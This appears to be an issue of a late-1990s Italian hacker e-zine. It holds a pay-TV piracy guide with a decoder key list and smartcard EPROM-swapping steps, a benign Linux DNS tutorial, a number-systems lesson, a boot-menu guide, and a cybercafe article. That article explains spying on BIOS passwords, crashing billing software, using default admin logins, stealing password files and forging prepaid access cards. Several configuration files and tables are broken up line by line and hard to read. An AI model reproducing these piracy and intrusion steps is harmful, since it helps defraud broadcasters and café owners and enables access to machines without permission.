scheda tv [io ho la tvwie99 non molto supportata ma cmq va bene, ps la
mirovideo anche se costosa e' la migliore di tutte a mio modesto parere] .
Questi decoder software si basano su standard di vari dipi di decriptazione
in particolare i piu' famosi girano su des.
Bha in particolare ho analizzato freetv un ottimo decoder che emula il
nagravision . Bhe ora fin qui tutti dirano : mitico!!! . Bhe non direi
inanzitutto per usarli ci voglino delle key che son fatte per accedere a
determinati canali o solo x le freq dei canali stessi , bhe io sinceramente
di quelle che ho provato ho notato solo lo schifo che fanno e quindi mano
alla documentazione me ne son fatta una tutta mia x decodificare la banda
di canali tedeschi , ps [non tutti ma molti]
bhe copia/incolla:
11
12
13
16
17
18
19
13
14
15
16
0
1
2
3
21
22
23
24
18
19
20
21
23
24
25
26
26
27
28
29
19
20
21
22
11
12
13
14
28
29
30
31
4
5
6
7
22
23
24
25
5
6
7
8
31
0
1
2
27
28
29
30
3
4
5
6
8
9
10
11
14
15
16
17
25
26
27
28
15
16
17
18
7
8
9
10
17
18
19
20
29
30
31
0
24
25
26
27
20
21
22
23
1
2
3
4
6
7
8
9
12
13
14
15
9
10
11
12
2
3
4
5
30
31
0
1
24
25
26
27
2
3
4
5
31
0
1
2
7
8
9
10
13
14
15
16
26
27
28
29
14
15
16
17
18
19
20
21
22
23
24
25
5
6
7
8
19
20
21
22
12
13
14
15
17
18
19
20
27
28
29
30
10
11
12
13
11
12
13
14
6
7
8
9
1
2
3
4
0
1
2
3
4
5
6
7
3
4
5
6
8
9
10
11
15
16
17
18
23
24
25
26
29
30
31
0
25
26
27
28
9
10
11
12
21
22
23
24
20
21
22
23
30
31
0
1
16
17
18
19
28
29
30
31
questi li dovete mettere in un file che denominerete key.ini standard x molti
prog ...
E ora puttana eva passiamo al satellitare , premetto che lo ho da poco ma nel
giro di due giorni mi son messo canal plus , palco e molto altro ovviamente a
scrocco.
Bhe allora ovviamente i decryptatori funzano solo alcuni e per alcuni canali
che dal vostro caro televisore vedrete neri. Bhe ma poi ci son quelli a
pagamento . Bhe li e' un rischio usarli ovviamente perche' dovrete modificare
l'eprom della vostra cara smartcard [o se ve ne fate arrrivare una tradata
fate prima cmq mi occupero' del primo metodo] . Allora prima di tutto
collegate il vostro decoder al pc
Seriale decoder [com] ------------[com] pc
Anche qui esistono una infinita'di programmini serissimi per ogni evenienza
cmq :
primo passo : copia eprom originale su hd
secondo passo: staccate il modem del decoder dalla presa telefono [non volete
mica far sapere a tutti quando lo usate che avete una smart
diversa [ps il modem se lo fate lo dovete staccare per sempre
[quello del decoder intendo]] .
terzo passo : bhe recuperatevi dai vostri infiniti trade una eprom diversa
con funzioni diverse .
quarto passo : [sempre se il primo e il terzo li avete fatti decentemente]
accendete la vostra cara tv e diventate teledipendenti
Bha cmq a me interessava avere un accesso satellitare a internet che come
freq in downlink e'di 400kb/s fissi e quindi mi son informato : esistono vari
tipi di schede come la mitica direcpc [www.direcpc.com] che permettono tutto
cio' [in america a prezzi molto ragionevoli , in Italia lascio a voi
indovinare] . Bhe allora esiste uno dice mi compro la scheda e mi pago sti
soldazzi x ricevere o senno' seconda ipotesi uno dice mi compro la scheda e
mi sfrutto il mio caro abbo prova ... epoi? Bhe in Italia Flashnet e'il
fornitore di servizi di questo tipo [insieme ad un'altra agenzia veneta a
quanto so' io] che si collega direttamente a un centro in germania che poi
trasferisce la richiesta in America [Washington x la precisione] > bhe e se
io non volessi far tutto sto giro? . Allora il caro provider [O meglio i cari
provider ] che offrono il servizio sono AOL [america on line ] e due provider
minori consociati e direcpc che e' anche lui provider . Bhe io non dico nulla
ma penso e credo fermamente che [tra l' altro AOL utilizza normali account
utenti] le possibilita' di tutto cio' [ un account li lo ha pure mio nonno ].
Considerazioni finali:
Allora non voglio nessun rompicoglioni che mi chieda un account , che mi
chieda di sendargli un programma di cui ho parlato o che mi chieda di
regalargli un eprom . Accetto volentieri persone che gia' se ne intendono
dell' argomento per cercare di chiarirci insieme le idee , che se ne
intendano di internet via satellite] e magari qualcuno che mi spieghi
riguardo skyweb dove cazz si possono recuperare le sorgenti che non ho la
scheda scatfast...
ZeroCool
Provoces the best you will die like a slave
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ BREVI SAGGI DI NETWORKING SOTTO LINUX ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Articolo redatto da Alpha-666 o Zeros
Irc.tin.it #hackernow
Articolo Nø2
Configurazione del DNS server.
Per risolvere gli indirizzi IP di una rete TCP/IP si usa il file /etc/host,
il sistema DNS o entrambi i metodi.
Qui di seguito vedremo come configurare il server Linux come nemeserver per
fornire il servizio DNS agli utenti della rete locale. Per poter far cio' e'
necessario osservare i punti che seguono:
1)Avere installato il protocollo TCP/IP;
2)Aver installato Linux come DNS server;
3)Configurare il file /etc/resolv.conf, verificare il file /etc/host.conf;
4)Configurare il file /etc/name.boot, il principale file di configurazione
del deamon named che gestisce il DNS-server. Il deamon named che viene
eseguito all'avvio del sistema e rimane in continua attesa di richieste
da parte dei client sulla porta 53. Questo file comprende l'elenco dei
file contenenti le informazioni di zona, cioe' file che servono per
risolvere un nome nel rispettivo indirizzo IP per un dominio, e l'elenco
di altri nameserver;
5)Configurare il file della cache /var/named/named.ca, cioe' il file che
contiene gli indirizzi IP dei nameserver di root del sistema DNS, cioe' di
quei computer, sparsi nel mondo, che conoscono gli indirizzi IP dei
nameserver di primo livello (cioe' dei domini .com .net .org .it .gov .mil
ecc). Qualora il nostro nameserver non sia in grado di risolvere un
indirizzo IP con i suoi file di zona inoltra la richiesta direttamente a
un nameserver di root;
6)Configurare il file contenenti
le informazioni delle zone.
**
NB:Per verificare che Linux sia stato installato come DNS server avvaletevi
del Package Management del Pannello di controlo, e assicuratevi che sia
installato il file /networking/caching-nameserver1.1-4 , il cui programma
principale e' named. Nel caso mancasse installatelo.
**
Vogliamo configurare il computer server.retel di una rete composta dai
seguenti computer:
192.168.1.10
192.168.1.11
192.168.1.12
192.168.1.13
server.retel
num1.retel num1
num2.retel num2
num3.retel num3
server
i file di server.retel devono essere modificati come segue:
/etc/resolv.conf
In questo file c'e' il nome del dominio in cui si deve cercare i computer
della rete e l'elenco dei nameserver. Se il computer stesso e' il nameserver
(come nel nostro caso). /etc/resolv.conf deve contenere l'indirizzo
127.0.0.1. Quindi il file risultera' cosi':
search server
nameserver 127.0.0.0
/etc/host.conf
order host,bind
multi on
/etc/named.boot
;
;
directory
/var/named
cache
.
named.ca
primary retel
named.retel
primary 0.0.127.in-addr.arpa
named.local
primary 1.168.192.in-addr.arpa named.rev
Dove:
1)la prima riga specifica la directory che contiene gli altri file di
configurazione di named;
2)la seconda riga indica il file utilizzato come cache e' named.ca. Tale file
inizializza la cache del deamon named con l'elenco dei nameserver del
dominio root (e si indica con un punto);
3)la riga che comincia con primary retel indica che il file contiene le
informazioni della zona (o dominio) retel e' named.retel; questo file e'
usato del deamon named per risolvere gli indirizzi IP del dominio retel;
4)primary 0.0.127.in-addr.arpa specifica il file named.local come reverse
address della rete 127.0.0 (in pratica risolve 127.0.0.1 in localhost);
5)la riga che inizia con primary 1.168.192.in-addr.arpa specifica il file
named.rev come reverse della rete 192.168.1 (in pratica risolve gli
indirizzi IP in nomi);
**
NB: Il nostro nameserver risolve gli indirizzi IP tramite i propri file
named.retel o named.ca, qualora i tentativi falliscano la possibilita'
di risolvere gli IP tramite altri nameserver, ad esempio tramite i
nameserver di un ISP, per tale scopo e' necessario aggiungere al file
/etc/named.boot una riga simile a questa:
forwarders IP_nameserver_ISP_1 IP_nameserver_ISP_2
IP_namserver_ISP_1 e 2 sono gli indirizzi IP del DNS primario e secondario
dell'ISP.
/var/named/named.ca
Questo file puo' essere lasciato cosi' come installato da Linux.
/var/named/named.retel
E' un nuovo file che deve essre creato dall'utente, esso contiene gli
indirizzi IP e il nome del computer della vostra rete. Fate in modo che
contenga quanto segue:
@
IN
SOA
server.retel
root.server.retel. (
1
;Serial
86400
;Refresch: ogni
giorno
3600
;Retry: ogni ora
3600000
;Expire: 42
giorni
86400
)
;Minimum 1
settimana
IN
NS
server1.retel.
localhost.
IN
A
127.0.0.1
server
IN
A
192.168.1.10
num1
IN
A
192.168.1.11
num2
IN
A
192.168.1.12
num3
IN
A
192.168.1.13
/var/named/named.local
@
IN
SOA
giorno
giorni
settimana
1
server.retel.
1
86400
(
;Serial
;Refresch: ogni
3600
3600000
;Retry: ogni ora
;Expire: 42
86400
IN
IN
NS
PTR
)
;Minimum 1
server1.retel.
localhost.
/var/named/named.rev
@
IN
root.server.retel. (
SOA
giorno
giorni
settimana
10
11
12
13
server.retel
1
86400
;Serial
;Refresch: ogni
3600
3600000
;Retry: ogni ora
;Expire: 42
86400
IN
IN
IN
IN
IN
NS
PTR
PTR
PTR
PTR
)
;Minimum 1
server1.retel.
server.retel.
num1.retel.
num2.retel.
num3.retel.
dove 10.11.12.13 sono i numeri dei computer della rete ciaoe' 192.168.1.[10].
Note:
@ indica l'origine del dominio con riferimento alla riga corrispondente a
questo file contenuta in /etc/named.boot
SOA significa Start Of Authority (inizio della configurazione della zona di
autorita')
IN indica che il tipo di indirizzamento utilizzato e' relativo alla classe IP
NS nameserver
A e' il codice che precede un
indirizzo l'IP
PTR codice da utilizzare nelle righe che contraddistinguono il reverse address,
e si usa nei file del dominio in-addr.arpa
Dopo aver fatto tutto cio' dobbiamo eseguire il boot (riavviare) oppure
eliminando (kill) il processo named ed rieseguirlo per attivare i cambiamenti.
1)Digitare il comando
ps ax|grep named
e premete invio.
2) Vedrete:
605
?
10568
10
S
S
0:00
0:00
named
grep named
3) Kill 605 e invio
4) named e invio
e ora per verificare il corretto funzionamento:
1)digitate in una shell di comando nslookup
2)Al prompt > digitate il nome di un computer della vostra rete, esempio
num2 (o l'indirizzo IP) e premete invio.
Se otterrete tutti i dati del computer (Name:num2.retel - Address:192.168.1.12)
significa che il named funziona correttamente.
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
SISTEMI DI NUMERAZIONE (BINARIO, DECIMALE, ESADECIMALE)
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve a tutti sono sempre Quequero, in questo articolo parleremo dei vari
sistemi di numerazione che sono molto utilizzati nei linguaggi di programmazione
e ci serviranno per comprendere molte cose.
Iniziero' col parlare del sistema decimale che tutti conosciamo e che
utilizziamo
ogni di'.
Questo sistema viene detto "decimale" perche' utilizza le potenza di...dieci,
per farvi capire cosa intendo ecco un esempio alquanto banale, proviamo a
scomporre il numero 1258:
1258 = 1x10^3 + 2x10^2 + 5x10^1 + 8x10^0
Per verificare se abbiamo fatto bene la scomposizione proviamo a moltplicare
ogni valore per la sua potenza di 10 e poi lo sommiamo agli altri:
1x10^3
2x10^2
5x10^1
8x10^0
=
=
=
=
1000
+
200
+
50
+
8
=
----------1258
sembra che il risultato sia esatto, cio' vuol dire che siamo stati bravi ;))
Bene bene, questo e' stato solo un ripasso per introdurre il sistema di
numerazione binario, cioe' quello usato dai nostri processori e comunque anche
da qualunque componente elettronico, (calcolatrici, orologi digitali, radio,
gps, modem, stereo ecc...) spero che vi siate chiesti almeno una volta come
fa il computer ad aprire una finestra oppure una calcolatrice ad eseguire un
calcolo "2-1", ebbene tutti i processori riescono a capire la differenza tra
due stati di tensione cioe': 0 (potenziale basso) e 1 (potenziale alto), ecco
l'importanza di questo sistema, ma come possiamo convertire un numero binario
in decimale?
Dal momento che conosciamo tutti i numeri binari (1 e 0 :) creiamo un numerino
e convertiamolo, prendiamo per esempio questo:
11001011 = 1x2^7 + 1x2^6 + 0x2^5 + 0x2^4 + 1x2^3 + 0x2^2 + 1x2^1+ 1x2^0
1x2^7
1x2^6
0x2^5
0x2^4
1x2^3
0x2^2
1x2^1
1x2^0
=
=
=
=
=
=
=
=
128
+
64
+
0
+
0
+
8
+
0
+
2
+
1
=
---------203
\
/
\
/
|
---- numeri binari convertiti in
|
decimali e sommati tra loro
|
Il risultato 203 e' esatto? Verifichiamolo.....ma come possiamo farlo se finora
abbiamo imparato solo a scomporre un numero in potenze di dieci e a convertire
un binario in decimale?
Bhe' semplice dovete riaprire i libri di matematica, ma non vi preoccupate
perche' Quequero lo fara' per voi ;))
Ecco come si fa':
-----------------
¦ Numero decimale ¦
----------------¦¦
¦¦ Dividiamo per 2
<---¦
¦¦
¦
---------------------¦
¦ Il quoziente e' pari? ¦
¦
---------------------¦
¦¦
¦
¦¦
¦
SI
/ \ NO
¦
/
\
¦
------------¦
/
\
¦
------------------------¦
¦ Scriviamo 0 ¦
¦ Scriviamo 1 ¦
¦
------------------------¦
\
/
¦
\------------------/
¦
¦¦
¦
¦¦
¦
--------------------¦
¦ Il numero e' finito? ¦
¦
--------------------¦
¦¦
¦
¦¦
¦
SI
/ \ NO
¦
/
\
¦
------------¦
/
\
¦
---------------------------¦
¦ Prendi tutte le
¦
¦ Continua ¦ ----¦ cifre e ribaltale ¦
---------------------------Bello il logaritmo vero? Spero di si, proviamo a vedere se 203 corrisponde
realmente a 11001011, per farlo usiamo la colonnina che tanto odiavamo alle
elementari:
203|
101|1
51|1
25|0
12|1
6|0
3|0
1|1
0|1
dall'alto al basso vediamo questi numeri 11010011 ma, come vi dicevo, dobbiamo
ribaltarli cosi' avremo 11001011....esatto i numeri corrispondono!!!!
Ovviamente non andrete mai a convertire i numri a manualmente visto che anche
la calcolatrice di winzoz lo fa (dovete selezionare visualizza|scientifica)
comunque un po' di cultura non guasta mai ;)))
facciamo il resoconto di cio' che abbiamo appreso finora:
Scomposizione di un numero decimale e conversione da:
Binario--->Decimale--->Binario
Affrontiamo ora il tipo di numerazione piu' importante cioe' quello esadecimale,
(o base 16) questo tipo di numerazione differisce dalla decimale perche' ci sono
16 numeri invece che i soliti 0 1 2 3 4 5 6 7 8 9
e dalla binaria perche' ogni numero in base 16 equivale a 4 in base 2, siccome
avrete le idee confuse ecco una tabella riassuntiva (la metto in verticale
altrimenti non entra nel mio monitor da 14'')
Decimale
0
1
2
3
Binario
0000
0001
0010
0011
Esadecimale
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0100
0101
0110
0111
1000
1001
1010
1011
1100
1101
1110
1111
4
5
6
7
8
9
A
B
C
D
E
F
Come facciamo a convertire un numero binario in esadecimale e viceversa? In
base 16 le conversioni sono semplicissime dal momento che ogni numero
esadecimale equivale a 4 binari quindi supponiamo di avere 8F5DA come fa' a
diventare binario? Eccovi un altro esempio:
8
F
5
D
A
=
=
=
=
=
1000
1111
0101
1101
1010
Possiamo dire che 8F5DA = 10001111010111011010.
Vogliamo fare la solita verifica per vedere se abbiamo fatto tutti i calcoli
bene? Credo di si, la domanda sorge ormai spontanea...come si fa'? Si divide
il numero binario in gruppi di 4 cifre (a partire dalla meno significativa
che e' l'ultima, la piu' significativa e' la prima) e se vede man mano a cosa
corrisponde: 1010 1101 0101 1111 1000
A
D
5
F
8
facciamo un po' di "reversing" sul numero ottenuto ed otteniamo come sospettato
8F5DA.
Questo tipo di conversione "veloce" vale solo per il sistema
Base2->Base16->Base2
Per fare i calcoli da Base16 a Base10 e vice versa le operazioni sono le stesse
che abbiamo usato durante le conversioni Base2->Base10->Base2, ovviamente i
sistemi di numerazione sono infiniti, un sistema caduto ormai nell'oblio e'
stato quello in Base8 (ottale) ma possiamo convertire qualunque cosa in
qualunque base, pensate che qualche settimana fa' ho fatto un CrackMe che
calcolava il seriale da inserire in base 78, in numerazioni di questo genere
ci sono sicuramente tutte le lettere dell'alfabeto e vengono usati anche
simboletti sconosciuti alla razza umana, una cosa bella di questi sistemi e'
che un numero come 1000000000000000000000000000000000000000 diventa cortissimo
e magari simile a questo: ~1«½¦©
;))))
Prima di concludere anche questo articolo vorrei dirvi che non ho parlato
volutamente della rappresentazione dei numeri negativi in base2 visto che
utilizzano un particolare metodo detto "complemento a 2" estremamente
difficile, se mi verra' chiesto scrivero' un articolo anche su questo ma vi
assicuro che verrebbe estremamente lungo, ma lungo lungo lungo ;)))
Ora voi vi starete chiedendo "Ma che cazz ce ne frega di conoscere come
contano i calcolatori", in realta' l'argomento e' importante dal momento che un
compilatore un linguaggio ad alto livello (quale puo' essere il c/c++ o il
Pascal ecc...) una volta compilato non fa' altro che convertire tutto in
Assembly che a sua volta converte tutto in esadecimale e che il processore
converte in linguaggio macchina cioe' 10110101011 in codice binario.
Ultima raccomandazione: se incontrate qualcosa del tipo 1512h e non sapete
cosa cavolo sia (base8, 18 o 48) dovrete guardare in fondo, vedete quell'h?
Quella indica che il numero si trova in base 16, eccovi l'ultima tabella:
b
o
d
h
=
=
=
=
Binario
Ottale
Decimale
Esadecimale
quindi se smanettate con l'Assembly e dovete andare all'offset 00018F5Ah non
domandatevi "come kazz si fa' ad avere un offset a 9 cifre" ma ricordate che
l'ultima lettera minuscola vi indica sempre la base.
Ora che siete dei matematici divertitevi (io odio la matematica) ;)))))
Ciauzzzzzzzz Quequero
P.S.
Per commenti positivi scrivetemi a [email protected], quelli negativi
ve li potete pure tenere ;) e tanto che state qui andate anche a visitare
http://quequero.cjb.net
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
NAVIGHIAMO AL NETCAFE' IN ALLEGRIA
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
PRECISAZIONI
inizio col chiarire che questa guida e' un po il completamento di quello
scritto su bfi infatti vi consiglio inanzitutto di andarvi a leggere
l'articolo su bfi3 " divertirsi al cybercaffe' " di [goku]
purtroppo le mie conoscenze sono limitate quindi vi prego di essere clementi
ALLEGATI
ci dovrebbe essere allegato a questo numero di NewBies , il programma per la
gestione delle schede CManager di cui parlo verso la fine di questo articolo
E' mooooooooooooolto semplice da usare , logicamente questo e' usato solo da
alcuni " miei " netcafe' pero' penso possa interessare qualcuno
ACCUMNZAMMO
poter usare un account non vostro e da un numero di telefono diverso di quello
di casa credo garantisca una totale anonimita' : la cosa piu' importante per
hackare sicuri
I sistemi di protezione usati dai gestori di questi locali sono molti e diversi,
in quest'articolo ci occuperemo solo del tipo di protezione
- caccio mone
- mi danno la tessera cartacea
- digito al programma di windzoz user e pass
- posso accedere alla rete
bene , iniziamo col guardare delle cose importanti sulla macchina da fregare,
vediamo se e' possibile accedere al drive floppy ,di che tipo di connessione
si tratta (la maggior parte ISDN collegati a un computer server) e cosa +
importante il tipo di programma , non e' sempre infatti sara' possibile hackarlo
ecco presentati gli strataggemmi che conosco :
1 fotti password del bios
2 cerca bugs nel programma
3 inserisci passwords a random
1 bene per sfruttare questo "exploit" e' necessario far crashare windzoz o
riavviare manualmente il computer fingendosi dei totali ingoranti informatici,
richiamare l'attenzione dell "amministratore" di rete (che a volte e' lo stesso
barista :) , fargli digitare la magica parolina nel bios e spiarlo mentre fa
quest'operazione una volta fatto cio' basta riavviare di nuovo il computer
accertandovi che nessuno vi stia osservando , digitare la pass e prima del
caricamento di windzoz digitare F8 in modo che venga caricato il menu che vi
chiede cosa avviare : scegliete msdos con supporto di rete e da dos cercate
con il programma EDIT i vari file che windows carica all'avvio: win.ini,
system.ini etc.. e nella cartella esecuzione automatica
C:\windows\menu avvio\programmi\esecuzione automatica eventuali richiami a
qualche file tipo netcafe'.exe , internet.exe , manager.exe (dipende del
programma usato) e cancellare questi collegamenti , ririavviare il computer
ed accedere a windzoz come utente normale senza alcuna limitazione , nel caso
in cui trovaste un eventuale password all'avvio di win vi consiglio di andare
a consultare la pagina di cavallo de cavallis riguardo il rippaggio di pwd
(http://members.tripod.com/~CavallodeCavallis/)
AGGIORNAMENTO : ho scoperto in rete alcuni programmi che dovrebbero permettere
di scovare la password del bios , se ne avete la possibilita' vi consiglio di
usarli assieme al sistema sopra descritto
2 spremere al massimo il programma di protezione , col programma che si usa
molto nei netcafe' dalle mia parti basta :avviare una scheda , cliccare sulla
icona web , far partire un paio di internet explorer , tornare al menu del
programma principale clikkare su esci , terminare la scheda premere il classiko
alt+tab e poter navigare aggratis
Purtroppo da un po di tempo hanno riconfigurato il programma e di conseguenza
ho dovuto provvedere a trovarne altri :
se c'e' provate a spostare la barra da sotto in alto , il programma dira' che
la barra deve stare sotto , lasciatela sopra , uscite dalla scheda eeeeeeee
tada' : il programma crasha e otterrete il computer a vostra + completa
disposizione
3 sempre riguardo il programma al quale mi sono finora riferito vi sono
impostate delle password e user di default :1,1 2,2 3,3 4,4 admin,admin il +
interessante in quanto permette di riconfigurare il programma totalmente ,
se potete accedere a questa funzione siete apposto in quanto vi bastera'
togliere l'esecuzione automatica di questo programma , riavviare il computer
e accedervi con tutti i privilegi
Una volta procuratovi il tipo di utenza diciamo superroot ci sono molte cose
che potete fare , inanzitutto vi sconsiglio (per etica) di procurare un
qualsiasi danno al computer o al suo gestore , in questo modo eviterete di
essere beccati e potrete conservare + a lungo i vostri trucchi
Allora andate nel pannello di controllo , rete e segnatevi tutto cio' che
vedete scritto : ip , gateway ,tipo di condivisione ...
Da casa portatevi un dischetto sul quale avrete copiato i programmi consigliati
da cavallo de cavallis nel suo documento
(http://members.tripod.com/~CavallodeCavallis/),
e rippatevi le pass di condivisione in modo da poter accedere al computer anche
da casa.
Recatevi nella cartella del programma di gestione (es. /netcafe) e controllate
che file sono presenti e copiate su dischetto i + interessanti (es. pass.log
tessere.cazz ) osservate anche se dentro alla cartella c'e' oltre all'eseguibile
regolare del manager ce ne sia uno di manager tessere nel caso ci fosse
lanciatelo pure , osservate un po' come funziona e semmai generatevi una
tessera da 80 ore :) in modo da poter accedere al netcafe' gratuitamente
anche in futuro.
Il file controllato ad ogni inserimento di pass e user di solito non si trova
nella stessa cartella dove c'e' appunto l'eseguibile , per poter analizzare
meglio il programma percio' vi consiglio di copiarlo su dischetto in modo da
poterlo analizzare a casa tranquillamente.
se sono attivate le condivisioni fatevi un giro tra gli hd , potreste scoprire
qualcosa interessante, io ad esempio ultimanente ho scoperto il file delle
password su un computer diverso da quelli usati per il servizio netcafe' ;P
Spero che questo articolo sia stato utile a qualcuno di voi , vi raccomando
di non fare lamerate sui computer che " hackererete " , non recate alcun tipo
di danno alla macchina (niente formattazioni , virus , trojan) e se avete
qualcosa da chiedere , qualche trucco da voi scoperto, etc.. fatelo pure a
[email protected]
Unlt
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME CREARVI UN MENU DI BOOT PERSONALIZZATO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
<-<-[ Kome krearvi un men— di boot personalizzato ]->->
Kuante volte avreste voluto ke non ci fosse il SoftIce in background, ma vi
serve per crackare? Kuante volte avreste voluto karikare lo Scitech Display
Doctor v. x.xx (inserisci la versione pi— nuova) solo per giokare, e vi Š
tokkato editare l'autoexec? Boh, solo voi lo sapete ;)
Cmq, ekko ke vi vengo in aiuto kon kuesto semplice artikoletto, ke tratta
un paio di kosette ke a me sono servite moltissimo. Vi insegner• infatti
kome si krea un men— di boot. Per farlo servono solo due kose: il config.sys
e l'autoexec.bat e sikkome li avete tutti, partiamo in batta kon l'articolo!
Allora, inanzitutto da <Esegui...> nel men— avvio, scrivete "sysedit" senza
virgolette. Vi apparir… un inquietante finestra "Editor di configurazione
di sistema", ke altro non Š ke un editor di testo MDI (multi document
interface) con aperti i maggiori file di sistema, kome win.ini, autoexec.bat
ecc. Iniziamo con la modifica del config.sys. Nella prima riga dovrete
inserire:
[menu]
menuitem <nome del men—>,<Testo ke apparir… sullo skermo>
menuitem <nome del men—>,<Testo ke apparir… sullo skermo>
ecc....
In questo modo all'avvio di WiNsOzZ apparir… un men— che vi chiede di
scegliere l'opzione di avvio. Una volta finiti i menuitem, dovrete inserire
una riga con scritto:
menudefault <nome del men—>,<secondi disponibili per la scelta>
Questa riga indicher… il men— che sar… selezionato di default e il numero
di secondi che avrete a disposizione per scegliere.
Adesso mettete delle parti:
[<nome men—>]
istruzioni da eseguire
[<nome men—>]
istruzioni da eseguire
e cos• via per tutti i menuitem che avete inserito. In questo config, appena
sceglierete una data voce di men—, verrano eseguite le istruzioni relative
alla sua sezione. Esiste inoltre una sezione
[common]
istruzioni
che va inserita per forza, e indica le istruzioni da eseguire in ogni kaso.
Perci•, solitamente conviene ricopiare il vecchio config dentro common, a meno
che non abbiate un particolare bisogno di inserire kualke device o altro
in alcuni menuitem soltanto. Fatto kuesto, salvate il config e passate all'
autoexec.bat
Kui la storia Š molto + semplice: basta inserire alla fine un goto %config%
Poi metterete tanti :<nome men—> quanti sono i vostri menuitem. Tra un
:nomemen— e l'altro, inserirete le istruzioni che volete siano eseguite.
Vi faccio un esempio pratico inkollando il mio config e il mio autoexec...
Ke vi possano servire per kapire meglio...
---------------------------------CONFIG.SYS----------------------------------[menu]
<-- inserisce un men— di boot
menuitem NORM,Modalit… Normale <-- menuitem NORM (scriver… Modalit… Normale)
menuitem SOFT,Modalit… SoftIce <-- menuitem SOFT (scriver… Modalit… SoftIce)
menudefault NORM,10
<-- setta NORM come default. Tempo: 10 sec.
[NORM]
<-- roba da caricare scegliendo NORM
[SOFT]
<-- roba da caricare scegliendo SOFT
[common]
<-- roba da caricare SEMPRE
device=C:\WINDOWS\COMMAND\display.sys con=(ega,,1)
Country=039,850,C:\WINDOWS\COMMAND\country.sys
------------------------------------FINE---------------------------------------------------------------------AUTOEXEC.BAT---------------------------------SET BLASTER=A240 I5 D0 H6 P300 E640 T6
mode con codepage prepare=((850) C:\WINDOWS\COMMAND\ega.cpi)
mode con codepage select=850
keyb it,,C:\WINDOWS\COMMAND\keyboard.sys
goto %config% <-- va al valore di config (variabile che indica il men— scelto)
:SOFT
<-- se scegliete Modalit… SoftIce
